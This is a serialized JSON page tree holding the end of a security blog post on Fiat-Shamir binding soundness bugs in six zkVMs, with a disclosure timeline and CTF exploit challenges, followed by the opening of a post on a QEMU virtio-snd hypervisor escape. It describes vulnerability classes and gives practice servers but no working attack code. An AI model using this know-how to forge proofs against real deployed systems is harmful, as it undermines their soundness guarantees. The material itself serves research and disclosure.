",{"type":24,"tag":32,"props":124450,"children":124452},{"className":124451},[6368,6369],[124453],{"type":24,"tag":90,"props":124454,"children":124456},{"className":124455},[6374],[124457],{"type":24,"tag":90,"props":124458,"children":124460},{"className":124459,"ariaHidden":6380},[6379],[124461],{"type":24,"tag":90,"props":124462,"children":124464},{"className":124463},[6385],[124465,124470],{"type":24,"tag":90,"props":124466,"children":124469},{"className":124467,"style":124468},[6390],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":24,"tag":90,"props":124471,"children":124473},{"className":124472},[6396],[124474,124483],{"type":24,"tag":90,"props":124475,"children":124477},{"className":124476},[6396,29],[124478],{"type":24,"tag":90,"props":124479,"children":124481},{"className":124480},[6396],[124482],{"type":29,"value":63501},{"type":24,"tag":90,"props":124484,"children":124486},{"className":124485},[6412],[124487],{"type":24,"tag":90,"props":124488,"children":124490},{"className":124489},[6417],[124491],{"type":24,"tag":90,"props":124492,"children":124494},{"className":124493},[6422],[124495],{"type":24,"tag":90,"props":124496,"children":124499},{"className":124497,"style":124498},[6427],"height:0.8362em;",[124500],{"type":24,"tag":90,"props":124501,"children":124503},{"style":124502},"top:-3.1473em;margin-right:0.05em;",[124504,124508],{"type":24,"tag":90,"props":124505,"children":124507},{"className":124506,"style":6437},[6436],[],{"type":24,"tag":90,"props":124509,"children":124511},{"className":124510},[6442,6443,6444,6445],[124512],{"type":24,"tag":90,"props":124513,"children":124515},{"className":124514},[6396,6445],[124516],{"type":24,"tag":90,"props":124517,"children":124519},{"className":124518},[6396,6445],[124520],{"type":29,"value":124521},"′",{"type":29,"value":124523}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":24,"tag":25,"props":124525,"children":124526},{},[124527,124531,124533],{"type":24,"tag":7711,"props":124528,"children":124529},{},[124530],{"type":29,"value":118587},{"type":29,"value":124532}," Fixed on December 29, 2025 via ",{"type":24,"tag":69,"props":124534,"children":124537},{"href":124535,"rel":124536},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[73],[124538],{"type":29,"value":124539},"commit 86a515f",{"type":24,"tag":20586,"props":124541,"children":124542},{},[],{"type":24,"tag":850,"props":124544,"children":124546},{"id":124545},"why-does-this-keep-happening",[124547],{"type":29,"value":124548},"Why Does This Keep Happening?",{"type":24,"tag":25,"props":124550,"children":124551},{},[124552],{"type":29,"value":124553},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":24,"tag":1019,"props":124555,"children":124557},{"id":124556},"academic-papers-dont-specify-fiat-shamir",[124558],{"type":29,"value":124559},"Academic Papers Don't Specify Fiat-Shamir",{"type":24,"tag":25,"props":124561,"children":124562},{},[124563,124565,124570,124572,124597,124599,124602,124604,124629,124631,124658],{"type":29,"value":124564},"Academic papers usually describe ",{"type":24,"tag":842,"props":124566,"children":124567},{},[124568],{"type":29,"value":124569},"interactive",{"type":29,"value":124571}," protocols: \"Prover sends ",{"type":24,"tag":32,"props":124573,"children":124575},{"className":124574},[6368,6369],[124576],{"type":24,"tag":90,"props":124577,"children":124579},{"className":124578},[6374],[124580],{"type":24,"tag":90,"props":124581,"children":124583},{"className":124582,"ariaHidden":6380},[6379],[124584],{"type":24,"tag":90,"props":124585,"children":124587},{"className":124586},[6385],[124588,124592],{"type":24,"tag":90,"props":124589,"children":124591},{"className":124590,"style":23379},[6390],[],{"type":24,"tag":90,"props":124593,"children":124595},{"className":124594,"style":23916},[6396,23384],[124596],{"type":29,"value":118106},{"type":29,"value":124598},". Verifier sends",{"type":24,"tag":32781,"props":124600,"children":124601},{},[],{"type":29,"value":124603},"random ",{"type":24,"tag":32,"props":124605,"children":124607},{"className":124606},[6368,6369],[124608],{"type":24,"tag":90,"props":124609,"children":124611},{"className":124610},[6374],[124612],{"type":24,"tag":90,"props":124613,"children":124615},{"className":124614,"ariaHidden":6380},[6379],[124616],{"type":24,"tag":90,"props":124617,"children":124619},{"className":124618},[6385],[124620,124624],{"type":24,"tag":90,"props":124621,"children":124623},{"className":124622,"style":112718},[6390],[],{"type":24,"tag":90,"props":124625,"children":124627},{"className":124626,"style":94877},[6396,23384],[124628],{"type":29,"value":95696},{"type":29,"value":124630},". Prover sends ",{"type":24,"tag":32,"props":124632,"children":124634},{"className":124633},[6368,6369],[124635],{"type":24,"tag":90,"props":124636,"children":124638},{"className":124637},[6374],[124639],{"type":24,"tag":90,"props":124640,"children":124642},{"className":124641,"ariaHidden":6380},[6379],[124643],{"type":24,"tag":90,"props":124644,"children":124646},{"className":124645},[6385],[124647,124651],{"type":24,"tag":90,"props":124648,"children":124650},{"className":124649,"style":23379},[6390],[],{"type":24,"tag":90,"props":124652,"children":124655},{"className":124653,"style":124654},[6396,23384],"margin-right:0.00773em;",[124656],{"type":29,"value":124657},"R",{"type":29,"value":124659},".\"",{"type":24,"tag":25,"props":124661,"children":124662},{},[124663,124665,124690,124692,124717],{"type":29,"value":124664},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":24,"tag":32,"props":124666,"children":124668},{"className":124667},[6368,6369],[124669],{"type":24,"tag":90,"props":124670,"children":124672},{"className":124671},[6374],[124673],{"type":24,"tag":90,"props":124674,"children":124676},{"className":124675,"ariaHidden":6380},[6379],[124677],{"type":24,"tag":90,"props":124678,"children":124680},{"className":124679},[6385],[124681,124685],{"type":24,"tag":90,"props":124682,"children":124684},{"className":124683,"style":23379},[6390],[],{"type":24,"tag":90,"props":124686,"children":124688},{"className":124687,"style":23916},[6396,23384],[124689],{"type":29,"value":118106},{"type":29,"value":124691}," before sampling ",{"type":24,"tag":32,"props":124693,"children":124695},{"className":124694},[6368,6369],[124696],{"type":24,"tag":90,"props":124697,"children":124699},{"className":124698},[6374],[124700],{"type":24,"tag":90,"props":124701,"children":124703},{"className":124702,"ariaHidden":6380},[6379],[124704],{"type":24,"tag":90,"props":124705,"children":124707},{"className":124706},[6385],[124708,124712],{"type":24,"tag":90,"props":124709,"children":124711},{"className":124710,"style":112718},[6390],[],{"type":24,"tag":90,"props":124713,"children":124715},{"className":124714,"style":94877},[6396,23384],[124716],{"type":29,"value":95696},{"type":29,"value":124718},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":24,"tag":25,"props":124720,"children":124721},{},[124722],{"type":29,"value":124723},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":24,"tag":1019,"props":124725,"children":124727},{"id":124726},"the-hot-potato-problem",[124728],{"type":29,"value":124729},"The Hot Potato Problem",{"type":24,"tag":25,"props":124731,"children":124732},{},[124733],{"type":29,"value":124734},"Modern zkVMs are modular:",{"type":24,"tag":25,"props":124736,"children":124737},{},[124738],{"type":24,"tag":6301,"props":124739,"children":124742},{"alt":124740,"src":124741},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":24,"tag":25,"props":124744,"children":124745},{},[124746],{"type":29,"value":124747},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":24,"tag":1019,"props":124749,"children":124751},{"id":124750},"optimization-pressure",[124752],{"type":29,"value":124753},"Optimization Pressure",{"type":24,"tag":25,"props":124755,"children":124756},{},[124757],{"type":29,"value":124758},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":24,"tag":25,"props":124760,"children":124761},{},[124762],{"type":29,"value":124763},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":24,"tag":1019,"props":124765,"children":124767},{"id":124766},"testing-doesnt-catch-adversarial-inputs",[124768],{"type":29,"value":124769},"Testing Doesn't Catch Adversarial Inputs",{"type":24,"tag":25,"props":124771,"children":124772},{},[124773],{"type":29,"value":124774},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":24,"tag":20586,"props":124776,"children":124777},{},[],{"type":24,"tag":850,"props":124779,"children":124781},{"id":124780},"how-to-find-and-fix-these-bugs",[124782],{"type":29,"value":124783},"How to Find and Fix These Bugs",{"type":24,"tag":1019,"props":124785,"children":124787},{"id":124786},"prevention",[124788],{"type":29,"value":124789},"Prevention",{"type":24,"tag":25,"props":124791,"children":124792},{},[124793],{"type":29,"value":124794},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":24,"tag":25,"props":124796,"children":124797},{},[124798],{"type":29,"value":124799},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":24,"tag":25,"props":124801,"children":124802},{},[124803],{"type":29,"value":124804},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":24,"tag":25,"props":124806,"children":124807},{},[124808],{"type":29,"value":124809},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":24,"tag":25,"props":124811,"children":124812},{},[124813],{"type":29,"value":124814},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":24,"tag":20586,"props":124816,"children":124817},{},[],{"type":24,"tag":850,"props":124819,"children":124821},{"id":124820},"responsible-disclosure-timeline",[124822],{"type":29,"value":124823},"Responsible Disclosure Timeline",{"type":24,"tag":57569,"props":124825,"children":124826},{},[124827,124855],{"type":24,"tag":124828,"props":124829,"children":124830},"thead",{},[124831],{"type":24,"tag":124832,"props":124833,"children":124834},"tr",{},[124835,124840,124845,124850],{"type":24,"tag":124836,"props":124837,"children":124838},"th",{},[124839],{"type":29,"value":25005},{"type":24,"tag":124836,"props":124841,"children":124842},{},[124843],{"type":29,"value":124844},"Reported",{"type":24,"tag":124836,"props":124846,"children":124847},{},[124848],{"type":29,"value":124849},"Fixed",{"type":24,"tag":124836,"props":124851,"children":124852},{},[124853],{"type":29,"value":124854},"Response Time",{"type":24,"tag":124856,"props":124857,"children":124858},"tbody",{},[124859,124882,124903,124923,124945,124966],{"type":24,"tag":124832,"props":124860,"children":124861},{},[124862,124867,124872,124877],{"type":24,"tag":124863,"props":124864,"children":124865},"td",{},[124866],{"type":29,"value":109690},{"type":24,"tag":124863,"props":124868,"children":124869},{},[124870],{"type":29,"value":124871},"Sep 2025",{"type":24,"tag":124863,"props":124873,"children":124874},{},[124875],{"type":29,"value":124876},"Oct 3, 2025",{"type":24,"tag":124863,"props":124878,"children":124879},{},[124880],{"type":29,"value":124881},"\u003C1 week",{"type":24,"tag":124832,"props":124883,"children":124884},{},[124885,124889,124894,124899],{"type":24,"tag":124863,"props":124886,"children":124887},{},[124888],{"type":29,"value":109696},{"type":24,"tag":124863,"props":124890,"children":124891},{},[124892],{"type":29,"value":124893},"Oct 2025",{"type":24,"tag":124863,"props":124895,"children":124896},{},[124897],{"type":29,"value":124898},"Oct 24, 2025",{"type":24,"tag":124863,"props":124900,"children":124901},{},[124902],{"type":29,"value":124881},{"type":24,"tag":124832,"props":124904,"children":124905},{},[124906,124910,124914,124919],{"type":24,"tag":124863,"props":124907,"children":124908},{},[124909],{"type":29,"value":109702},{"type":24,"tag":124863,"props":124911,"children":124912},{},[124913],{"type":29,"value":124893},{"type":24,"tag":124863,"props":124915,"children":124916},{},[124917],{"type":29,"value":124918},"Oct 31, 2025",{"type":24,"tag":124863,"props":124920,"children":124921},{},[124922],{"type":29,"value":124881},{"type":24,"tag":124832,"props":124924,"children":124925},{},[124926,124930,124935,124940],{"type":24,"tag":124863,"props":124927,"children":124928},{},[124929],{"type":29,"value":109708},{"type":24,"tag":124863,"props":124931,"children":124932},{},[124933],{"type":29,"value":124934},"Nov 2025",{"type":24,"tag":124863,"props":124936,"children":124937},{},[124938],{"type":29,"value":124939},"Mar 5, 2026",{"type":24,"tag":124863,"props":124941,"children":124942},{},[124943],{"type":29,"value":124944},"~4 months",{"type":24,"tag":124832,"props":124946,"children":124947},{},[124948,124952,124957,124962],{"type":24,"tag":124863,"props":124949,"children":124950},{},[124951],{"type":29,"value":109720},{"type":24,"tag":124863,"props":124953,"children":124954},{},[124955],{"type":29,"value":124956},"Dec 2025",{"type":24,"tag":124863,"props":124958,"children":124959},{},[124960],{"type":29,"value":124961},"Dec 29, 2025",{"type":24,"tag":124863,"props":124963,"children":124964},{},[124965],{"type":29,"value":124881},{"type":24,"tag":124832,"props":124967,"children":124968},{},[124969,124973,124977,124982],{"type":24,"tag":124863,"props":124970,"children":124971},{},[124972],{"type":29,"value":109714},{"type":24,"tag":124863,"props":124974,"children":124975},{},[124976],{"type":29,"value":124934},{"type":24,"tag":124863,"props":124978,"children":124979},{},[124980],{"type":29,"value":124981},"Jan 21, 2026?",{"type":24,"tag":124863,"props":124983,"children":124984},{},[124985],{"type":29,"value":124986},"3 months",{"type":24,"tag":25,"props":124988,"children":124989},{},[124990],{"type":29,"value":124991},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":24,"tag":20586,"props":124993,"children":124994},{},[],{"type":24,"tag":850,"props":124996,"children":124998},{"id":124997},"challenges",[124999],{"type":29,"value":109733},{"type":24,"tag":25,"props":125001,"children":125002},{},[125003,125005],{"type":29,"value":125004},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":24,"tag":125006,"props":125007,"children":125008},"del",{},[125009],{"type":29,"value":125010},"the first 10 solvers will get a T-shirt.",{"type":24,"tag":25,"props":125012,"children":125013},{},[125014,125016,125069,125070,125326],{"type":29,"value":125015},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":24,"tag":32,"props":125017,"children":125019},{"className":125018},[6368,6369],[125020],{"type":24,"tag":90,"props":125021,"children":125023},{"className":125022},[6374],[125024],{"type":24,"tag":90,"props":125025,"children":125027},{"className":125026,"ariaHidden":6380},[6379],[125028],{"type":24,"tag":90,"props":125029,"children":125031},{"className":125030},[6385],[125032,125036,125041,125046,125050,125055,125060,125064],{"type":24,"tag":90,"props":125033,"children":125035},{"className":125034,"style":116932},[6390],[],{"type":24,"tag":90,"props":125037,"children":125039},{"className":125038},[6396,23384],[125040],{"type":29,"value":69},{"type":24,"tag":90,"props":125042,"children":125044},{"className":125043},[6507],[125045],{"type":29,"value":6510},{"type":24,"tag":90,"props":125047,"children":125049},{"className":125048,"style":6514},[6475],[],{"type":24,"tag":90,"props":125051,"children":125053},{"className":125052},[6396,23384],[125054],{"type":29,"value":5617},{"type":24,"tag":90,"props":125056,"children":125058},{"className":125057},[6507],[125059],{"type":29,"value":6510},{"type":24,"tag":90,"props":125061,"children":125063},{"className":125062,"style":6514},[6475],[],{"type":24,"tag":90,"props":125065,"children":125067},{"className":125066},[6396,23384],[125068],{"type":29,"value":3030},{"type":29,"value":111533},{"type":24,"tag":32,"props":125071,"children":125073},{"className":125072},[6368,6369],[125074],{"type":24,"tag":90,"props":125075,"children":125077},{"className":125076},[6374],[125078],{"type":24,"tag":90,"props":125079,"children":125081},{"className":125080,"ariaHidden":6380},[6379],[125082,125145,125207,125313],{"type":24,"tag":90,"props":125083,"children":125085},{"className":125084},[6385],[125086,125091,125132,125136,125141],{"type":24,"tag":90,"props":125087,"children":125090},{"className":125088,"style":125089},[6390],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":24,"tag":90,"props":125092,"children":125094},{"className":125093},[6396],[125095,125100],{"type":24,"tag":90,"props":125096,"children":125098},{"className":125097},[6396,23384],[125099],{"type":29,"value":69},{"type":24,"tag":90,"props":125101,"children":125103},{"className":125102},[6412],[125104],{"type":24,"tag":90,"props":125105,"children":125107},{"className":125106},[6417],[125108],{"type":24,"tag":90,"props":125109,"children":125111},{"className":125110},[6422],[125112],{"type":24,"tag":90,"props":125113,"children":125115},{"className":125114,"style":6391},[6427],[125116],{"type":24,"tag":90,"props":125117,"children":125118},{"style":6431},[125119,125123],{"type":24,"tag":90,"props":125120,"children":125122},{"className":125121,"style":6437},[6436],[],{"type":24,"tag":90,"props":125124,"children":125126},{"className":125125},[6442,6443,6444,6445],[125127],{"type":24,"tag":90,"props":125128,"children":125130},{"className":125129},[6396,6445],[125131],{"type":29,"value":3817},{"type":24,"tag":90,"props":125133,"children":125135},{"className":125134,"style":6476},[6475],[],{"type":24,"tag":90,"props":125137,"children":125139},{"className":125138},[6481],[125140],{"type":29,"value":6767},{"type":24,"tag":90,"props":125142,"children":125144},{"className":125143,"style":6476},[6475],[],{"type":24,"tag":90,"props":125146,"children":125148},{"className":125147},[6385],[125149,125153,125194,125198,125203],{"type":24,"tag":90,"props":125150,"children":125152},{"className":125151,"style":6391},[6390],[],{"type":24,"tag":90,"props":125154,"children":125156},{"className":125155},[6396],[125157,125162],{"type":24,"tag":90,"props":125158,"children":125160},{"className":125159},[6396,23384],[125161],{"type":29,"value":5617},{"type":24,"tag":90,"props":125163,"children":125165},{"className":125164},[6412],[125166],{"type":24,"tag":90,"props":125167,"children":125169},{"className":125168},[6417],[125170],{"type":24,"tag":90,"props":125171,"children":125173},{"className":125172},[6422],[125174],{"type":24,"tag":90,"props":125175,"children":125177},{"className":125176,"style":6391},[6427],[125178],{"type":24,"tag":90,"props":125179,"children":125180},{"style":6431},[125181,125185],{"type":24,"tag":90,"props":125182,"children":125184},{"className":125183,"style":6437},[6436],[],{"type":24,"tag":90,"props":125186,"children":125188},{"className":125187},[6442,6443,6444,6445],[125189],{"type":24,"tag":90,"props":125190,"children":125192},{"className":125191},[6396,6445],[125193],{"type":29,"value":3817},{"type":24,"tag":90,"props":125195,"children":125197},{"className":125196,"style":6573},[6475],[],{"type":24,"tag":90,"props":125199,"children":125201},{"className":125200},[6578],[125202],{"type":29,"value":5491},{"type":24,"tag":90,"props":125204,"children":125206},{"className":125205,"style":6573},[6475],[],{"type":24,"tag":90,"props":125208,"children":125210},{"className":125209},[6385],[125211,125216,125257,125262,125266,125271,125276,125280,125285,125290,125294,125299,125303,125309],{"type":24,"tag":90,"props":125212,"children":125215},{"className":125213,"style":125214},[6390],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":24,"tag":90,"props":125217,"children":125219},{"className":125218},[6396],[125220,125225],{"type":24,"tag":90,"props":125221,"children":125223},{"className":125222},[6396,23384],[125224],{"type":29,"value":3030},{"type":24,"tag":90,"props":125226,"children":125228},{"className":125227},[6412],[125229],{"type":24,"tag":90,"props":125230,"children":125232},{"className":125231},[6417],[125233],{"type":24,"tag":90,"props":125234,"children":125236},{"className":125235},[6422],[125237],{"type":24,"tag":90,"props":125238,"children":125240},{"className":125239,"style":6391},[6427],[125241],{"type":24,"tag":90,"props":125242,"children":125243},{"style":6431},[125244,125248],{"type":24,"tag":90,"props":125245,"children":125247},{"className":125246,"style":6437},[6436],[],{"type":24,"tag":90,"props":125249,"children":125251},{"className":125250},[6442,6443,6444,6445],[125252],{"type":24,"tag":90,"props":125253,"children":125255},{"className":125254},[6396,6445],[125256],{"type":29,"value":3817},{"type":24,"tag":90,"props":125258,"children":125260},{"className":125259},[6507],[125261],{"type":29,"value":6510},{"type":24,"tag":90,"props":125263,"children":125265},{"className":125264,"style":6514},[6475],[],{"type":24,"tag":90,"props":125267,"children":125269},{"className":125268},[6396,23384],[125270],{"type":29,"value":69},{"type":24,"tag":90,"props":125272,"children":125274},{"className":125273},[6507],[125275],{"type":29,"value":6510},{"type":24,"tag":90,"props":125277,"children":125279},{"className":125278,"style":6514},[6475],[],{"type":24,"tag":90,"props":125281,"children":125283},{"className":125282},[6396,23384],[125284],{"type":29,"value":5617},{"type":24,"tag":90,"props":125286,"children":125288},{"className":125287},[6507],[125289],{"type":29,"value":6510},{"type":24,"tag":90,"props":125291,"children":125293},{"className":125292,"style":6514},[6475],[],{"type":24,"tag":90,"props":125295,"children":125297},{"className":125296},[6396,23384],[125298],{"type":29,"value":3030},{"type":24,"tag":90,"props":125300,"children":125302},{"className":125301,"style":6573},[6475],[],{"type":24,"tag":90,"props":125304,"children":125306},{"className":125305},[6578],[125307],{"type":29,"value":125308},"≥",{"type":24,"tag":90,"props":125310,"children":125312},{"className":125311,"style":6573},[6475],[],{"type":24,"tag":90,"props":125314,"children":125316},{"className":125315},[6385],[125317,125321],{"type":24,"tag":90,"props":125318,"children":125320},{"className":125319,"style":95908},[6390],[],{"type":24,"tag":90,"props":125322,"children":125324},{"className":125323},[6396],[125325],{"type":29,"value":534},{"type":29,"value":125327},". Good luck!",{"type":24,"tag":1019,"props":125329,"children":125331},{"id":125330},"jolt",[125332],{"type":29,"value":109690},{"type":24,"tag":25,"props":125334,"children":125335},{},[125336,125338,125349,125351],{"type":29,"value":125337},"See ",{"type":24,"tag":69,"props":125339,"children":125346},{"href":125340,"target":125341,"rel":125342,"download":125345},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[125343,125344],"noopener","noreferrer","handout_jolt.tar.gz",[125347],{"type":29,"value":125348},"the handout",{"type":29,"value":125350}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":24,"tag":32,"props":125352,"children":125354},{"className":125353},[],[125355],{"type":29,"value":125356},"jolt.chal.osec.io:8960",{"type":24,"tag":1019,"props":125358,"children":125360},{"id":125359},"nexus-1",[125361],{"type":29,"value":109696},{"type":24,"tag":25,"props":125363,"children":125364},{},[125365,125366,125373,125374],{"type":29,"value":125337},{"type":24,"tag":69,"props":125367,"children":125371},{"href":125368,"target":125341,"rel":125369,"download":125370},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[125343,125344],"handout_nexus.tar.gz",[125372],{"type":29,"value":125348},{"type":29,"value":125350},{"type":24,"tag":32,"props":125375,"children":125377},{"className":125376},[],[125378],{"type":29,"value":125379},"nexus.chal.osec.io:8950",{"type":24,"tag":25,"props":125381,"children":125382},{},[125383],{"type":29,"value":125384},"Now you should have enough margin to prove Fermat wrong.",{"type":24,"tag":20586,"props":125386,"children":125387},{},[],{"type":24,"tag":850,"props":125389,"children":125391},{"id":125390},"takeaways",[125392],{"type":29,"value":125393},"Takeaways",{"type":24,"tag":25,"props":125395,"children":125396},{},[125397],{"type":29,"value":125398},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":24,"tag":25,"props":125400,"children":125401},{},[125402],{"type":29,"value":125403},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":24,"tag":25,"props":125405,"children":125406},{},[125407,125412],{"type":24,"tag":7711,"props":125408,"children":125409},{},[125410],{"type":29,"value":125411},"For the ZK ecosystem:",{"type":29,"value":125413}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":24,"tag":25,"props":125415,"children":125416},{},[125417],{"type":29,"value":125418},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":24,"tag":25,"props":125420,"children":125421},{},[125422,125427],{"type":24,"tag":7711,"props":125423,"children":125424},{},[125425],{"type":29,"value":125426},"For auditors:",{"type":29,"value":125428}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":24,"tag":25,"props":125430,"children":125431},{},[125432,125437],{"type":24,"tag":7711,"props":125433,"children":125434},{},[125435],{"type":29,"value":125436},"For builders:",{"type":29,"value":125438}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":24,"tag":5249,"props":125440,"children":125441},{},[125442],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":125444},[125445,125446,125449,125455,125456,125464,125470,125473,125474,125478],{"id":109741,"depth":200,"text":109744},{"id":109883,"depth":200,"text":109886,"children":125447},[125448],{"id":109889,"depth":239,"text":109892},{"id":110318,"depth":200,"text":110321,"children":125450},[125451,125452,125453,125454],{"id":110329,"depth":239,"text":110332},{"id":110517,"depth":239,"text":110520},{"id":113898,"depth":239,"text":113901},{"id":115112,"depth":239,"text":115115},{"id":116749,"depth":200,"text":116752},{"id":117255,"depth":200,"text":117258,"children":125457},[125458,125459,125460,125461,125462,125463],{"id":117277,"depth":239,"text":117280},{"id":118602,"depth":239,"text":109696},{"id":119738,"depth":239,"text":119741},{"id":120406,"depth":239,"text":120409},{"id":123062,"depth":239,"text":123065},{"id":123616,"depth":239,"text":109720},{"id":124545,"depth":200,"text":124548,"children":125465},[125466,125467,125468,125469],{"id":124556,"depth":239,"text":124559},{"id":124726,"depth":239,"text":124729},{"id":124750,"depth":239,"text":124753},{"id":124766,"depth":239,"text":124769},{"id":124780,"depth":200,"text":124783,"children":125471},[125472],{"id":124786,"depth":239,"text":124789},{"id":124820,"depth":200,"text":124823},{"id":124997,"depth":200,"text":109733,"children":125475},[125476,125477],{"id":125330,"depth":239,"text":109690},{"id":125359,"depth":239,"text":109696},{"id":125390,"depth":200,"text":125393},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":125483,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":125484,"description":125485,"date":125486,"author":125487,"image":125488,"isFeatured":16,"onBlogPage":16,"tags":125490,"body":125493,"_type":5270,"_id":133779,"_source":5272,"_file":133780,"_stem":133781,"_extension":5275},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":125489,"width":99098,"height":14},"/posts/virtio-snd-qemu-0day/title.png",[125491,125492],"qemu","heap-overflow",{"type":21,"children":125494,"toc":133761},[125495,125500,125505,125510,125516,125521,125526,125534,125540,125552,125556,125561,125569,125574,125580,125585,125598,126208,126243,126288,126322,126357,126492,126540,126546,126551,127307,127352,127388,127423,127488,127508,127958,128005,128008,128013,128078,128104,128126,128130,128135,128140,128146,128151,128156,128161,128167,128180,128186,128191,128199,128269,128274,128280,128293,128519,128582,128601,128984,128989,129022,129027,129303,129315,129333,129612,129624,129627,129662,129667,129673,129685,129697,129702,129707,129717,129752,130369,130401,130412,130448,130461,130467,130479,130487,130513,130518,130551,130592,130598,130617,130655,130663,130712,130717,130766,130771,130779,130866,130872,130911,130923,130931,130949,130968,130976,130988,130996,131015,131023,131034,131042,131053,131061,131074,131082,131088,131093,131106,131114,131132,131140,131152,131157,131165,131201,131234,131241,131275,131283,131288,131294,131306,131317,131596,131656,131724,131732,131766,132370,132381,132389,132395,132400,132411,133165,133198,133210,133296,133316,133525,133572,133584,133590,133609,133635,133663,133679,133706,133709,133729,133743,133747,133752,133757],{"type":24,"tag":25,"props":125496,"children":125497},{},[125498],{"type":29,"value":125499},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":24,"tag":850,"props":125501,"children":125502},{"id":125491},[125503],{"type":29,"value":125504},"QEMU",{"type":24,"tag":25,"props":125506,"children":125507},{},[125508],{"type":29,"value":125509},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":24,"tag":1019,"props":125511,"children":125513},{"id":125512},"virtio-devices",[125514],{"type":29,"value":125515},"Virtio Devices",{"type":24,"tag":25,"props":125517,"children":125518},{},[125519],{"type":29,"value":125520},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":24,"tag":25,"props":125522,"children":125523},{},[125524],{"type":29,"value":125525},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":24,"tag":25,"props":125527,"children":125528},{},[125529],{"type":24,"tag":6301,"props":125530,"children":125533},{"alt":125531,"src":125532},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":24,"tag":850,"props":125535,"children":125537},{"id":125536},"finding-a-bug",[125538],{"type":29,"value":125539},"Finding a Bug",{"type":24,"tag":25,"props":125541,"children":125542},{},[125543,125545,125551],{"type":29,"value":125544},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":24,"tag":32,"props":125546,"children":125548},{"className":125547},[],[125549],{"type":29,"value":125550},"virtio-snd",{"type":29,"value":226},{"type":24,"tag":1019,"props":125553,"children":125554},{"id":125550},[125555],{"type":29,"value":125550},{"type":24,"tag":25,"props":125557,"children":125558},{},[125559],{"type":29,"value":125560},"From the official documentation:",{"type":24,"tag":5339,"props":125562,"children":125563},{},[125564],{"type":24,"tag":25,"props":125565,"children":125566},{},[125567],{"type":29,"value":125568},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host 